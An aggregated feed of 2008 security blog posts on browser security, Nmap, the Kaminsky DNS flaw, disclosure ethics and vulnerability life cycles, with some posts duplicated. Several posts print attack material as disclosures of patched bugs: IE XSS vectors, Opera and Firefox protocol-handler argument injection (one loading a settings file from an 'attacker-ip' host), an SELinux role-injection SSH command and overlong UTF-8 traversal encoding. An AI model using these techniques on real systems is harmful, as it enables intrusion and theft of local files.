I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.

Thanks David and CONGRATS on the release!

Some technical details with regards to XSS-Filter can be found here.

Dominic White's .tHE pRODUCT

My Thoughts on Google's Chrome

Posted: September 3rd, 2008, 3:14pm CDT

Tags: Security [edit]

First, let me preface this by saying I don't trust Google at all. Their entire business model is based on violating my privacy and for a security & privacy person who wears more tinfoil than most, this irks me. Google irks me to the extent that I have a separate Firefox profile just for the odd Google thing I may do, and I use Scroogle to deliberately anonymise my searches with the big eye. Why the rest of the world gets up in arms about warrantless wire-tapping by AT&T, and not explicit tapping on an arguably more important/sensitive medium confuses me. Imagine if your telco said they would give you a free phone line, but in exchange they would monitor all your calls and periodically have a telemarketer phone with offers you may be interested in? Beyond the irritation, the privacy outrage may even get the EFF's attention.
So, last night I downloaded and ran Chrome. It provided me with a browser, it loaded stuff, yay. It didn't do anything I can't already do, and it didn't do anything better. Sure it was a bit snappier, but if I ran the Mozilla Gecko engine embedded in a Gtk widget I would get a pretty snappy browser too. Comparing Chrome to a fully featured browser isn't an apples-and-apples comparison.

So why is everyone so excited about it? One geek friend, Tham, is over the moon with it, and exuberantly exclaimed his love for it earlier today. I'm not sure why, I think it may be the hype combined with the fact that Google is good at this web stuff and people have high expectations.

Next I had a look at some of the settings to see what sort of privacy invasion was going on. The two things I noticed were that it provided no way to auth specific cookies, something even lynx manages and which is certainly indicative of Google dev thinking. Blocking all cookies isn't particularly practical either, and blocking third party cookies doesn't stop large service providers setting a life time cookie and correlating all your actions. It also provides the 'tell me if this is a bad site' option, which can be a bit invasive if each site kicks off a new request to Google, but so does Firefox and they aren't evil. Finally, it does leave a 'GoogleUpdate' service running full time and starting at each boot, which seems completely unnecessary. I really haven't done an in-depth look into these, but the principle of "don't let someone you distrust run resident software on your machine" kicks in here.

As for this 'separate process per tab' stuff, I'm not convinced this buys you much. It doesn't protect you against most of the web attacks like XSS, CSRF, browser-bugs, Flash bugs etc. It may provide some temporary protection against cache and history snooping attacks, but that's only until someone figures out how break into Chrome's management layer. It may provide some stability, but this isn't by default; there's already a PoC which purportedly crashes the whole browser. Finally, this may lead to performance problems with process overhead for each tab, but we'll have to wait and see when it's a real browser. It's okay though, it has new features and re-implementations of stuff, that will make sure none of the old vulnerabilities work, now there will just me lots of new ones. Let's hope their security response on Chrome doesn't provide content for another of RSnake's talks.

This is clearly Google's go at making the web a platform and controlling it. The press talks about the next browser war, they're wrong, this isn't a browser way, it's a platform war. Don't buy Office (or use LiveOffice) use Google Docs, don't buy Outlook and Exchange, use Gmail and the appliance (coming soon?). On many devices, the operating system is becoming less relevant. My Wii only became useful as more than a gaming console when it got Opera, and I now use it as a media centre via TVersity's flash interface. The LG phone's are essentially flash interfaces with a web browser for any heavy lifting. Android may very well turn into the shell which exposes Chrome.

This will be interesting to watch, and I'll periodically check in on the development. But until Google stops being evil, Firefox stops being awesome and an actual browser appears, I'm happy to leave it well alone.

Updated: spelling

CGISecurity.com: Your Web Site and Application Security Resource

Google releases Chrome Web browser

Posted: September 2nd, 2008, 3:16pm CDT by Robert

Tags: Security Tools [edit]

UPDATED: Yet another issue is discovered, this time a DOS. UPDATED: 3 hours later a vulnerability has been published. Google has just released an open sourced browser based on Apple's Webkit. I'm guessing it will be less than 48 hours before the first vulnerability is discovered. Since Safari uses Webkit it...

Dominic White's .tHE pRODUCT

Fyodor's NMAP Talk at BlackHat USA '08

Posted: August 27th, 2008, 1:43pm CDT

Tags: Security [edit]

Fyodor's talk was the first real talk I attended at Black Hat. TO be honest it was quite a thrill seeing "the creator of nmap". I did feel a bit dumb not knowing that Fyodor wasn't his real name, and thinking his family emigrated when he was young because had such a thick American accent.

Fyodor's been scanning the internet, the whole one. He is doing it with vanilla command line nmap to make sure any problems he runs into can be fixed and fed back into the tool. This has led to some awesome new features and functionality, not to mention some great stats such as which ports are most commonly open on the whole inter-tube.

I'm not going to describe the talk and new features, because Daniel Miessler has posted such a good overview of the new features and how to use them. Go check it out. I've been using them for the last week or so, and they just make life significantly better.

I am particularly happy that the UDP scanning is so much more useful, particularly when using the -F (fast scan) and --version-intensity 0 (reduces number of service detection probes). I've done some tests and it literally will save you several hours per UDP scan. This is particularly useful because people are so bad at firewalling UDP.

For those NMAP scripting naysayers, check out the dns-safe-recursion and dns-safe-recursion-txid scripts for identifying Kaminskeyed DNS servers. Also, learning LUA will allow you to contribute much more effectively to the PSP homebrew scene :)

Finally, the talk encouraged me to look at Zenmap, which I used once a long time ago and never used again (GUIs are for the weak). The 'output management' is really cool and provides a nice way of mangling data from nmap scans. However, the new capability for it to produce network topology diagrams got an applause out of the audience. A nice breakdown is provided by Vladimir of these new features.

Michael Howard's Web Log

SDL and the XSS Filter

Posted: August 27th, 2008, 12:36pm CDT by michael_HOWARD

Tags: Security [edit]

Close on the heels of David Ross' XSS defense in IE8 beta 2, my boss, Steve Lipner just posted an article looking at XSS filter from an SDL perspective.

While I'm on the subject of XSS and Dave, if XSS is an area of interest to you, you really should follow his blog. He's a member of our group focused mainly on browser and desktop-related defenses.
SDL and the XSS Filter

Posted: August 27th, 2008, 12:36pm CDT by michael_HOWARD

Tags: Security [edit]

Close on the heels of David Ross' XSS defense in IE8 beta 2, my boss, Steve Lipner just posted an article looking at XSS filter from an SDL perspective.

While I'm on the subject of XSS and Dave, if XSS is an area of interest to you, you really should follow his blog. He's a member of our group focused mainly on browser and desktop-related defenses.

The Spanner

New XSS vector

Posted: August 26th, 2008, 3:08pm CDT by Gareth Heyes

Tags: Security [edit]
Yes a XSS post again. I’m sorry

I’ve been having fun testing some really good filters (some of the best in the business IMO). I found a vector that isn’t on rsnake’s cheat sheet. Check it out:-

Only works on IE
```
<isindex type=image src=1 onerror=alert(1)>
```
Because IE treats the isindex element (a very old html element) as a input tag you can specify the same attributes and execute javascript.
Update…
Found another variation which is pretty cool:-
```
<isindex action=javascript:alert(1) type=image>
```

Dominic White's .tHE pRODUCT

Caltex Key Fobs and a Chain Mail Security Alert

Posted: August 26th, 2008, 8:36am CDT

Tags: Security [edit]
There's an e-mail going around in response to petrol attendants at Caltex service stations handing out free keyrings. The alert says:

Syndicates are giving away free key rings at petrol stations. Don't accept them as the key rings have a tracking device which allows them to follow you.

Some of my friends in this mailing list LOVE FREE THINGS. Watch out!

Forward to your friends and family.

I am very suspicious of this for several reasons:
- It is an unverified chain mail, and I'm still waiting for Bill Gates to give me money for using the internet.
- There is no mention of it on any authoritative crime information sources (e.g. the SAPS).
- It's a silly idea:
- - You don't need technology to locate random people, you can find them in their houses, offices and cars. I say 'random people' because:
  - - They don't seem to be targeting wealthy people, two people in my office (one driving and Uno, the other a Getz) have received one. These cars would not indicate them as wealthy.
    - They are handing these out to lots of people.
  - Correlating which tag belongs to which mark and why is a significant amount of effort compared to just following their car. Additionally, following the car would allow attackers to judge when to attack, these locators would not indicate opportunity very well.
  - They are too small to include a reasonably priced GPS & communications unit, and hi-tech spy gadgetry would make the criminal's ROI pretty poor. They could have some for of radio beacon, but that would require them to drive around until they 'found' a signal and home in on it. This is okay if you are tracking one or two people, but not thousands.
  - They are actually branded with Caltex's current 'Diesel Power' campaign advertising their low sulphur environmentally friendly diesel. It would make sense for these to be solar powered to advertise the 'environmentally friendliness'.
  I think it is far more likely that this is the usual chain mail rubbish we usually see. Alternatively, it could be a clever way for a competitor to trash Caltex's campaign.
  
  This isn't authoritative, just my thoughts, it could in fact be a campaign from a dumb criminal, or involve some kind of high-techery I am not yet aware of.

Disenchant's Blog

Data Aggregation - The hidden Thread

Posted: August 25th, 2008, 4:00am CDT by Disenchant

Tags: Security [edit]

If you talk to security people all over the world, you’ll notice, that stuff like XSS or SQL Injections aren’t of that much interest anymore because everyone knows what the problems are and how to prevent it, even if I’m not sure that they really know enough on it. Anyway, I was thinking of how we can get data out of things like for example a database even if it’s protected against attacks just as mentioned at the beginning. I came up with something, that I’ve never seen before or at least not in the context of a security thread to data. Today it’s very important to aggregate and mix data, to get new information out of it but have you ever thought of what happens if you can reconstruct sensible data out of let’s say public data.

Let’s have a look at an example in which we’re a student, who has access to the schools Intranet but there he can just have a look at news and also his grades as well as the average of a group of people like his class mates, people with the same age and such.

The number in brackets is the amount of people who’s data are affected and in this example our name is Peter Miller, who wants to know the grades of his class mate called Paul Svenson.

In the following tables, you’ll see the result of different requests to the school information system.

Now let’s check our whole class (3b):

Now we can calculate the worst possible grades of “Lisa Wilson” (born in 1980 and one of the two females in class 3b) out of the information in table “Average grades of females in class 3b”.

With this information we’ve got two of three peoples grades (Lisa’s grades are as already written the worst possible) who where born in 1980. This means we can now calculate the last persons grades (of course this will also be the worst possible), who’s Paul Svenson, our final target.

I hope you understood what I mean and also why this is really something we should pay more attention to in the future.
I’m back :)

Posted: August 24th, 2008, 5:03pm CDT by Disenchant

Tags: Security [edit]

It’s now about two months ago since I wrote my last blog posting but this was just because I had summer holidays (the only good thing about being a student). I was on different openairs in Switzerland and also went to visit Bulgaria with some friends, which was very nice.

This was our hotel:

So, I’m back and have much stuff to write about which is related to web security and other interesting stuff

Michael Howard's Web Log

Overlong UTF-8 Escapes Bite

Posted: August 22nd, 2008, 3:57pm CDT by michael_HOWARD

Tags: Security [edit]

Every once in a while a security bug pops up that really piques my interest, and a new directory traversal bug that affects Apache Tomcat (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938) most certainly made me take notice because I haven't seen this bug type in a lllooonnnggg time.

It caught my eye because of these six little characters:

%c0%ae

Many people think these characters represent a 16-bit Unicode character. Wrong. They are an invalid sequence of characters that represent the ‘.' (%2e) character, it's often called an "overlong UTF-8 escape". You may be wondering why I know this little piece of trivia about UTF-8; IIS4 and IIS5 were bitten by the same class of bug eight years ago, and was an attack vector for the Nimda worm. The bulletin that fixed the bug is MS00-078.

Thumbing to page 379 of Writing Secure Code 2^nd Edition, I am reminded that the canonical form of a UTF-8 character is the smallest number of bits that can represent that character. Remember, UTF-8 can encode characters wider than 8 bits. Without going into all the involved bit-manipulation, the correct form for a ‘.' character is a one-byte escape: %2e, not a two-byte escape: %c0%ae.

RFC 3629 states that "Implementations of the decoding algorithm MUST protect against decoding invalid sequences."

UrlScan for IIS6, and IIS7's Request Filtering detect and reject non-canonical UTF-8 URLs by default.
A patch for Apache Tomcat is available at [tomcat.apache.org].

Billy (BK) Rios

Opera Stuff - Followup

Posted: August 22nd, 2008, 4:41am CDT by xssniper

Tags: Security [edit]

It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon… but on the show…

Opera 9.52 was released a few days ago… I hope you’ve upgraded! Working with the Opera Security Team was a pleasure. I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive.

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across. You can read the initial advisory here. Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here. Since the issue is patched and the second advisory is out, lets go over the details:

First of all… this is a cross application issue (I think Blended Threat is the sexy term being used these days). We’ll use a protocol handling “aware” application to launch these attacks against Opera. Opera just has to be installed someplace on the victim’s machine for this to work.

When a user installs Opera, the following protocol hanlder is registered:

Opera.Protocol ”C:Program FilesOperaOpera.exe” “%1″

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey… I’m a simple guy).

c:Program FilesOperaOpera.exe “Opera.Protocol://test”

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera. In the first example, we will inject the location of a local html file. When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision. The protocol handling string we use looks like this:

<iframe src = ‘opera.protocol:www.test.com” “file://c:test.html ‘>

which ends up executing the following:

c:program filesoperaopera.exe “opera.protocol:www.test.com” “file://c:test.html”

If we can somehow place an html file to a known location this would be bad. For arguments sake, lets assume Nate Mcfeters didn’t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) … what else can we do?

Taking a look at the command line arguments supported by Opera, we see a couple interesting items… one of which is the “/settings” argument. the ”/settings” argument allows for Opera.exe to be loaded with an arbitrary INI file. A quick examination of what’s contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control: Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading… the list goes on and on…

<iframe src = ‘opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini ‘>

which will result in something like this:

c;program filesoperaopera.exe “opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini”

OUCH….Thankfully… the Opera Security Team has fixed this particular issue! Kudos to them!

Dominic White's .tHE pRODUCT

Dan Kaminsky++

Posted: August 21st, 2008, 10:42pm CDT

Tags: Security [edit]

Dan has posted two replies in the comment section of my previous post on his BlackHat talk. I think his comments indicate that his motivations were good and well reasoned before hand, and the net outcome of his find-and-fix was good. I believe they could have been better, but it's easy for me to comment from a removed, theoretical position, and "could have been better" sounds like a pretty weak position already. I've literally changed my opinion of Dan, and believe I judged him too harshly. Thus this entry isn't just a brown nosing affair.

Nice work Dan.
Dan Kaminsky's BlackHat USA '08 Talk on the DNS Flaw

Posted: August 20th, 2008, 3:53am CDT

Tags: Security [edit]

Dan's talk at Black Hat on 'The DNS Bug' aka CVE-2008-1447 was packed. By this time I had worked out that BH attendees, much like Catholics fill up from the back, so you can usually just walk to the front and find a seat. I did and ended up three rows away from Dan and his podium, a decision I later regretted.

It's a long entry, so I've bold'ed the key parts of my rant.

With all the hype, my plan was initially to not attend Dan's talk and go to something more interesting. My next thought was that most of the talk get completely dissected after BH anyway, so I would rather take advantage of the 'being there' factor and go watch the soap opera unfurl live.

He started off pretty well, gave some insight into how he had discovered the flaw, how the sooper sekret multi-vendor discussions had gone etc. He pointed out that Pieter de Boer was the first to 'rediscover' the bug 51hrs later. He also showed an awesome video of the patch rates around the world.

I was interested that by speaking to Trustwave, the fear and loathing of PCI was used to drive many corporates into patching.As Dan pointed out 'probably the first time compliance has been used to accomplish anything useful.' I'd restate that as 'probably the first time compliance has been used to drive rapid response to a tangential security incident.'

After that things went downhill. Dan decided to use the rest of the talk to provide illustrative situations of what a MITM can do. He went on at length describing all of the various protocols, services etc. that can be MITM'ed. He also pointed out that bugs don't need to be 'sploited in isolation which gave him more time to go into scenarios. He could have used this time to go into more interesting discussions around the usability of DNSSEC, practically solutions, more details about the bug etc. Anyone who knows what a MITM is should have been bored.

During this time I started to get irritated, but I mean really physically irritated. I couldn't work out why, until I realised it was some element of his stage personality that was pissing me off. At first I ignored this as me just being judgemental of a socially akward geek with a podium and media; and chided myself. However, after unpacking this in rants at anyone who would listen during the course of BH and DC I realised what was bugging me.

Dan was show boating. His entire approach to the thing was show boating. His 'wait for blackhat' plea, which irked me because it was just too obviously a media stunt combined with his 'ra ra, hand wave' presentation made it very clear. What's worse, his claim that he was trying to help people and get things fixed ASAP was hurt by his method of disclosure. By the end of the talk, I had switched to red pen (I wan in rant mode) to document why I felt his disclosure method was at fault for the 90 day patch window.

There are two things required for patches to be deployed, a working patch, and a willingness to install the patch. To drive the willingness, security people (or admins charged with patch responsibility) need to understand the risk so they can make a proper risk decision relevant for their circumstance and organisation. Dan's work to coordinate the release of the patch was great, we got multiple patches all at once without in-the-wild exploits. However, how urgent was this patch? Should we divert resources from existing stuff to test and deploy it? Is there a significant risk difference between external DNS and internal DNS etc.? The delay in patching NAT'ted DNS servers illustrates how this lack of information hurt patching. When a client phoned me to ask how urgent the patch was, all I could say was I'm not sure and to include it as part of the normal test/deploy cycle. If we had this information, if the security community had it, we could have properly understood the bug and known what the risk was.

This does make Dan look a little hypocritical. The reason I choose hypocrisy and not 'a failure of unintended consequences' if for two reasons. The first is that Dan actively crusaded to keep discussion off public lists, this goes far beyond whatever NDAs he was probably slapped with. When one hippy posted to full-disclosure with a hypothesis, Dan personally mailed him and asked him not to discuss this stuff publicly. While it is silly to tell one of the most inquisitive communities in the world not to talk about something, it is antagonistic to the goals of 'get everyone to patch' as well (because it prevents an intelligent risk-based decision from being made). I also don't think Dan has an excuse for not understanding models of disclosure and their implications. We've seen vendors semi-secretly patch bugs before, and we know the outcomes, and the debate is a couple of decades down the line. Finally, the reason I think Dan should take responsibility for this criticism is because he made such a big play to put himself in the centre of it.

I'm probably being a little unfair to someone who spent a lot of time working on something and who in the end got the world a little safer (and who I have never met personally). So take this as a commentary on his methods and media image, and not him personally. Ideally, take this as a lesson of how not to disclose bugs, ever.
HTTPS, SSL, TLS etc. on singe.za.net

Posted: August 19th, 2008, 7:49am CDT

Tags: Security [edit]

I've got an SSL cert I use for back-end stuff. If I mistakenly link to the HTTPS version, or you wear as much tinfoil as me, here's a brief explanation.

I use TLS much like SSH uses host keys. I don't want to shell out for a proper cert, and validate only by key fingerprints. I check these once, then tell my browser to save the cert as valid for all eternity. The fingerprints are on the left if you are looking for them. This gives me identification and encryption, as best the security I can get out of TLS.

The cert is expired, and not signed, but that's not required for the type of validation I use it for. It is expired because I don't want any reliance to be placed on the expiry date, and I don't think maximum expiry certs are a good idea.

I realise someone MITM'ing the site could alter the fingerprints displayed, but the fingerprints will be cached around the intertubes if additional verification is required.

I don't use a CACert because it does not buy me anything other than involving a third party for no good reason. If CACert's root cert is generally accepted one day, then I will switch.

I realise this isn't very 'usable' but I am not interested in making it easy for the average person, just for me and fellow security people. The average user of my blog should be happy viewing it in the clear and, unless I slip up, nothing should link to the HTTPS version explicitly.

It has been pointed out that on the surface a security person using an invalid cert looks like hypocrisy. However, there is nothing insecure about my non-traditional use of the cert, and I'd argue that those people either don't understand my use or TLS or both.

Michael Howard's Web Log

Matt Miller Joins the Security Science Team!

Posted: August 18th, 2008, 11:18am CDT by michael_HOWARD

Tags: Security [edit]

Good news! Matt Miller, author of plenty of cutting-edge security research, including my fave “A Brief History of Exploitation Techniques and Mitigations on Windows” has joined the Security Science team to work on improved ways to find security vulnerabilities and better software defenses through mitigations. Most recently, Matt’s been focused on design review for Windows 7.

Matt brings a massive amount of real-world exploit and defense experience to our team. Learn more about Matt here.

It’s wonderful to see us hiring more talent like Matt.

Welcome, Matt.
Security is bigger than finding and fixing bugs

Posted: August 14th, 2008, 3:20pm CDT by michael_HOWARD

Tags: Security [edit]

I just wrapped up a post over on the SDL blog with some comments about an article on Google's security work.
How Very True

Posted: August 12th, 2008, 6:56pm CDT by michael_HOWARD

Tags: Security [edit]

[twitter.com]
How Very True

Posted: August 12th, 2008, 6:56pm CDT by michael_HOWARD

Tags: Security [edit]

[twitter.com]

Justice League

Software security is growing

Posted: August 12th, 2008, 4:40pm CDT by gem

Tags: Software Security Touchpoints [edit]

In April 2007, I published a darkreading article on the size of the software security space with some analysis of what was happening. It took me a bit longer to gather the numbers this year, but I finally got what I needed and published an informIT article recently explaining how software security is growing.

I am very optimistic about the growth of the software security field over the last few years. Things are certainly moving in the right direction (toward white box analysis instead of outside->in black box, out of the myopic focus on Web apps, and toward full-lifecycle programs based on the touchpoints). The numbers show this growth and these trends objectively.
The Never Ending Open Source Security Debate Drags On

Posted: August 1st, 2008, 12:49pm CDT by gem

Tags: Software Security [edit]

On a top secret mailing list I participate in, there was some recent discussion about a recent article published by Fortify slamming the Open Source community for failing to adopt software security (you can find the article on the Fortify website). Here’s what I posted to the list (identities masked to preserve secret identities):

I just downloaded and read the Fortify study. It’s more of a white paper than it is science, but it is reasonably well presented and seems not to be too terribly fluffy. You can download a copy for yourself from the Fortify website. In the end what we have is some evidence that there are some open source projects that are behind the curve from a security perspective. I don’t think this should come as a surprise to anyone.

Some specifics based on other postings:

[DoD open source guy] sez>> First, it’s Java-heavy.

This is true. As far as I know, all of Fortify’s open source work has been Java-based (see the Java Open Review project). I don’t see why this impacts the results very much. Though open source Java projects may be a bit less responsive to security, the conclusions in the report are clear about just what set of projects were considered. Then again, I am not at all sure what methods were used to pick 11 out of 101 JOR projects.

[Apache leader] sez>> My experience on the security team at Apache…

Incidentally, when it comes to the results reported, Apache (Tomcat) is the only one of the eleven projects that is reported to have security-specific email, links to security info and access to security experts. One the other hand Apache (Struts) is reported not to have these things, which [DoD open source guy] argues is misleading since the Apache ASF page has these things.

[crypto open source guy] sez >> A better summary would have been “Many developers still don’t care about security.”

Sadly this is true. However as an evangelist in the space I will point out that the commercial world appears to be making much better headway in software security than the open source community (present company excepted of course but I am donning my asbestos suit anyway). I think many of the reasons why commercial software has an unfair advantage were covered in a panel on open source and security that Peter Neumann, Fred Schneider, and I all participated in at Oakland in 2000 (I can dig up e-copies if anybody cares).

One project was singled out for good software security practice: Mozilla. Should we all try to be more like Mozilla?

The debate did not rage on on the top secret list, but it must be raging on somewhere, because Roger Thornton just posted a response to the Fortify blog which you cab read here.

Frankly I was hoping that we killed this thing dead at Oakland in 2000. Guess again!

Michael Howard's Web Log

Improve Security with "A Layer of Hurt"

Posted: July 31st, 2008, 3:53pm CDT by michael_HOWARD

Tags: Security [edit]

I just wrote a post over on the SDL blog about how to get started with fuzzing,...

The Spanner

Strings to array

Posted: July 29th, 2008, 5:01pm CDT by Gareth Heyes

Tags: Security [edit]

I’ve been busy lately so I’ve not had time to post much but while writing yet another fuzzer I added a new tag to Hackvertor. Basically I write this code a million times and adding to Hackvertor enables me to save time and conveniently convert strings to arrays. The tag supports both Javascript and PHP array creation and uses a regular expression to split the data.

Have fun and I hope I’ve saved you some nano seconds:-
String conversion example

Michael Howard's Web Log

Insecure 3rd party software updaters

Posted: July 29th, 2008, 2:51pm CDT by michael_HOWARD

Tags: Security [edit]

Gotta love Robert's sarcasm.. but he's right.

Dominic White's .tHE pRODUCT

Kaminsky's DNS Flaw Exploit has been Released

Posted: July 23rd, 2008, 11:47pm CDT

Tags: Security [edit]

* Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
     - Advisory: [www.caughq.org]
     - Exploit: [www.caughq.org]

* Kaminsky DNS Cache Poisoning Flaw Exploit for Hosts
     - Advisory: [www.caughq.org]
     - Exploit: [www.caughq.org]

The blog entry. The list. It's even on Packetstorm.

I'm not sure my not posting these would limit their distribution in any significant way, and given the detailed breakdown provided us by Matasano, the bad guys could already have a working version. At least we are empowered to test and understand (without waiting for BlackHat).
My Pwnie Nomination was Accepted!

Posted: July 22nd, 2008, 10:18am CDT

Tags: Security [edit]
Yeah! If you were wondering why I wanted to know who discovered SQL injections, it was to nominate a "Pwnie for Mass 0wnage". And it was accepted:
- SQL injection in more than 500,000 web sites
  
  Discovered by: Rain Forest Puppy back in 1998
  
  SQL injection attacks are not new, but this year we saw an upsurge in the number of automated attacks against vulnerable websites. Reportedly more than half a million websites were compromised.
Although I see they went all conservative on the numbers (500k, *psccht*). ShadowServer has nearly 500k from the nihaorr1.com injection alone. Anyone with contacts please correct them.

Billy (BK) Rios

A Look at MFSA 2008-35

Posted: July 21st, 2008, 3:54am CDT by xssniper

Tags: Security [edit]
As promised… a quick look at MFSA2008-35:

When FireFox is installed, it registers the following protocol handlers:
- Gopher://
- FirefoxURL://
Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

Both of these protocol handlers point to Firefox.exe in the following manner:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “%1″
When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above. For example, gopher://test will result in the following:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “gopher://test“
Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument. Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler. When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line. So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed. This is done in the following manner:
- gopher:test|file:c:/path/filename
- gopher:test|chrome://browser/content/browser.xul
Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank. This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location. There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example. When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop. This gives us a semi known location, as we’ll have to guess the username. We can send a LOT of guesses for username as demonstrated below.
- <html><body><iframe src=”gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3….>
There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop. Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content. When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system).

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision.

On a side note, IE warns users when active script is about to be run from the local file system. I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that. This is a great security decision on behalf of IE.

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox). Both vendors did what was right and adjusted the behavior of their software. Thanks Mozilla and Apple!

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions. In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software. From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat… I’m looking forward to the talk!

Dominic White's .tHE pRODUCT

Vulnerability Life Cycle

Posted: July 19th, 2008, 4:51am CDT

Tags: Security [edit]
Schneier once proposed a vulnerability life cycle in a Crypto-Gram newsletter. He was wrong. During the time of writing my thesis, there were several important pieces of research no-one had put together to come up with a 'more correct' vulnerability life cycle. Given some recent discussions between Symantec and Verizon, I thought I would provide this is a more accessible format that a previous presentation I did on the subject, so that I could refer to it later.

The benefits of having an understanding of the life cycle, is that it provides a model to 'predict' the behaviour of various role players (e.g. bad guys, vendors and administrators) and understand how that behaviour impact on important parts of the risk management equations such as vulnerability, threat and impact. This is an important building block of any threat model.

The detail after the jump.

Let's get into it. Schneier's (and others) theorised model looks like this:

This life-cycle has the following stages:
1. The creation of the vulnerability. This is when the vulnerability is created during the implementation of the vulnerable product.
2. The discovery of a vulnerability. The vulnerability in the product is found. Several people could discover the vulnerability at different times. Little is ever publicly known about this step.
3. The discovered vulnerability is disclosed. The disclosure could come from a variety of sources, in a variety of ways. It could be announced by the vendor or an independent researcher, or secreted away in a product’s Change Log.
4. The vulnerability is corrected. This is usually done by the vendor releasing a patch or workaround. This should lead to an overall reduction in successful intrusions.
5. The vulnerability is publicised. This can happen in a variety of ways; for example news reporting, publishing an advisory, worm activity; but the end effect is that many people know about the vulnerability.
6. The exploit is scripted. This can mean that workable exploit code was released, or instructions on how to produce one are released. In either case, the result is that the number of attackers is greatly increased as those with less skill (script kiddies) can now perform the attack.
7. The vulnerability becomes passé. Attackers become disinterested in exploiting this vulnerability. This is not guaranteed to happen with every vulnerability, and some vulnerabilities (and exploits) are shown to have cyclical popularity.
8. The vulnerability dies. This happens when the number of possible targets vulnerable to exploitation drops to an insignificant level.
Now, if we take into account a bunch of research, available on page 30 of my thesis, we get the following corrected life-cycle:

The notable differences are:
1. The scripting of an exploit leads to a surge in the number of attempted intrusions.
2. The spike in exploitations will level off and tend towards a constant over time (e.g. SQL slammer intrusions are still floating around the internet at a fairly constant level).
3. The number of vulnerable machines have a half-life.
4. Most exploits are scripted before the end of the first half life.
5. Vulnerabilities rarely die, but some do become passé and attacks stop trying to exploit them. If anything, the exploits re-spike several times.
Interesting OpenSSH & SELinux Flaw

Posted: July 17th, 2008, 11:55pm CDT

Tags: Security [edit]

Some older versions of SELinux and OpenSSH compiled to support it allow you to log in with an arbitrarily chosen SELinux role. You'll need a valid account, and some fairly undefined conditions, but the attack is:
ssh --l<username>:/<chosen role> <host>
Haven't seen a (potential) stuff up like that since the MIT Kerberos telnet daemon flaw (which was significantly worse). I'd like to think that people who've gone to the effort of setting up SELinux also patch regularly. Source, milw0rm.

I am interested in this because it is dreadfully simple, has some weird implications for how SSH and SELinux interact, and there is scant information about this. Maybe a few more eyes can uncover something.

Disclaimer: I haven't tested this. The author only tested it on a limited subset and it didn't work on up-to-date distros.

Update: Explained my motivations and authority (or lack there of) of the exploit thanks to foobar's comments.

Billy (BK) Rios

FireFox Vulns - MFSA 2008-35

Posted: July 17th, 2008, 3:26am CDT by xssniper

Tags: Security [edit]

Mozilla issued a patch related to an issue I recently reported to them. The MFSA with details on the issue can be found here. It’s an interesting issue that demonstrates some of the complexities related to interaction between software from different vendors. This particular issue makes use of one of my favorite attack vectors, protocol handlers. The protocol handlers involved in this situation create an opportunity to pass “a command-line URI with the pipe symbols” from a remote webpage to FireFox.exe. For those that are interested, I’ll provide a small writeup on the issue this weekend. For those waiting, I’ll also provide a writeup on the Opera protocol handling issue leading to RCE when the Opera team is ready.

